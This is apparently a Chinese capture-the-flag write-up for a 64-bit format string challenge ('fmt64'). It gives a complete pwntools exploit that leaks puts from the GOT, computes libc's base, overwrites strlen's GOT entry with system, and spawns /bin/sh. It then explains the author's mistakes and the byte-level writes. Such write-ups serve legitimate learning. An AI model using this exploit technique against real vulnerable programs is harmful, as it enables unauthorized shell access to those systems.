我靠,,,,,,不得不说这题快把哥折磨傻了,不过着实犯了写比较stupid错误
我们先给出EXP:
from pwn import*
p=remote('node4.buuoj.cn',29152)
#context.log_level='debug'
elf=ELF("./fmt64")
libc=ELF("./libc-2.23.so")
puts_got=elf.got['puts']
payloa="%9$s"+"aaaa"+p64(puts_got)
p.sendlineafter("Please tell me:",payloa)
#p.recvuntil("Repeater:")
addr_=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(addr_))
base_=addr_-libc.symbols['puts']
system_=base_+libc.symbols['system']
sys_high=(system_>>16)&0xff
sys_low = system_&0xffff
strlen_got=elf.got["strlen"]
payload2 = "%" + str(sys_high - 9) + "c%12$hhn" + "%" + str(sys_low - sys_high) + "c%13$hn"
payload2 = payload2.ljust(32,"A") + p64(strlen_got + 2) + p64(strlen_got)
p.sendlineafter("Please tell me:",payload2)
payload3 = ';/bin/sh;\x00'
p.sendlineafter("Please tell me:",payload3)
p.interactive()
犯傻系列:
- 将这个“ strlen_got=elf.got[“strlen”] ”写成elf.symbols却半天没发现555555555
- “#p.recvuntil(“Repeater:”)”如果不使用这一句直接运行脚本一开始会报错,但是我发现多次执行以后,又成功了,,,,,离谱之~
- “#context.log_level=‘debug’”这一句也离谱,也第二点一样的现象
- 说实话
payload2 = "%" + str(sys_high - 9) + "c%12$hhn" + "%" + str(sys_low - sys_high) + "c%13$hn"
这里写入的方式:%12$hhn这个hh忘记加了一开始,后边hn的h也忘记加了
接下来我们针对EXP解释一下为什么要这么写:
payloa="%9$s"+"aaaa"+p64(puts_got) ,,,,,, addr_=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
这两句,我们看IDA上反汇编的程序发现:程序利用printf语句格式化字符串“%s”将输入上去的puts_got输出,仔细思考%s的定义,可以发现:printf输出的并不是puts_got本身,而是got表内puts函数对应的那个空间格子。- 通过第一点,又可以进一步解释写入问题
payload2 = "%" + str(sys_high - 9) + "c%12$hhn" + "%" + str(sys_low - sys_high) + "c%13$hn" payload2 = payload2.ljust(32,"A") + p64(strlen_got + 2) + p64(strlen_got)
这句里头,这个p64(strlen_got + 2)为什么加2?因为%n定义表面写入的是吧strlen_got本身的值作为地址,将已经打印的字符个数,写入地址指向的地址空间格子,而got表我们可以想象其存的是函数真正的地址6个字节:在机器里面,地址一个字节一个字节存,本题file一下可以发现是小端序,所以从低向高一个字节一个字节的存所以加2意思是从低地址起算正好是需要被修改的那个字节。至于p64(strlen_got)
这个,我们exp里面直接修改了末尾2个字节,所以没有加。 - 再者64位的格式化字符串漏洞和32位利用不一样,32位直接利用fmtstr_payload模块实现任意写,64位不行。
sys_high=(system_>>16)&0xff
这个>>是右移的意思,这里右移16bit,&的话:如果多位(如16)位数与去位数更少的数,则相当于在前者身上截断后者的位数。
至于题目分析啊啥的,其他师傅已经给出更好的解析,不再赘述